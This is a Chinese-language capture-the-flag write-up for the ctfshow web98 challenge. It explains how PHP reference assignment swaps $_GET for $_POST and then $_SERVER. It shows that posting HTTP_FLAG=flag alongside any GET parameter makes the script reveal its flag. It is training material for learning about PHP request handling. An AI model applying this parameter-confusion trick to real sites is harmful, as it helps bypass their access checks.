[ctfshow web入门]web98 学习PHP的引用
信息收集
先来卤一卤这串代码
($_GET) ? ($_GET=&$_POST) : ('flag')
:如果$_GET
不为空(FALSE),那么$_GET = &$_POST
,$_GET
将成为$_POST
的引用,操作$_GET
等同于操作$_POST
;否则'flag'
,无事发生。
后两句类似,$_GET['flag']=='flag'
在后面两句一定是同TRUE或同FALSE的,第四句的运行结果一定会覆盖第三句的运行结果,跳过第三句。看第四句,如果$_GET['flag']=='flag'
,那么$_GET
成为$_SERVER
的引用,否则,'flag'
,无事发生。
最后一个三元运算非常简单,$_GET['HTTP_FLAG']=='flag'
则打印$flag
,否则语法高亮展示当前文件
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
简化:
if isset($_GET){$_GET=&$_POST;
}
if ($_GET['flag']=='flag'){$_GET=&$_SERVER;
}
if ($_GET['HTTP_FLAG']=='flag'){highlight_file($flag);
}
else{highlight_file(__FILE__);
}
解题
GET:随便写写就行,例如?a=b
POST:
HTTP_FLAG=flag
如果GET没有值,那么$_GET['HTTP_FLAG']
为空,不满足条件
如果GET有值,那么$_GET=&$_POST
,此时往POST传HTTP_FLAG=flag
,即可使得$_GET['HTTP_FLAG']=='flag'
web 目录 web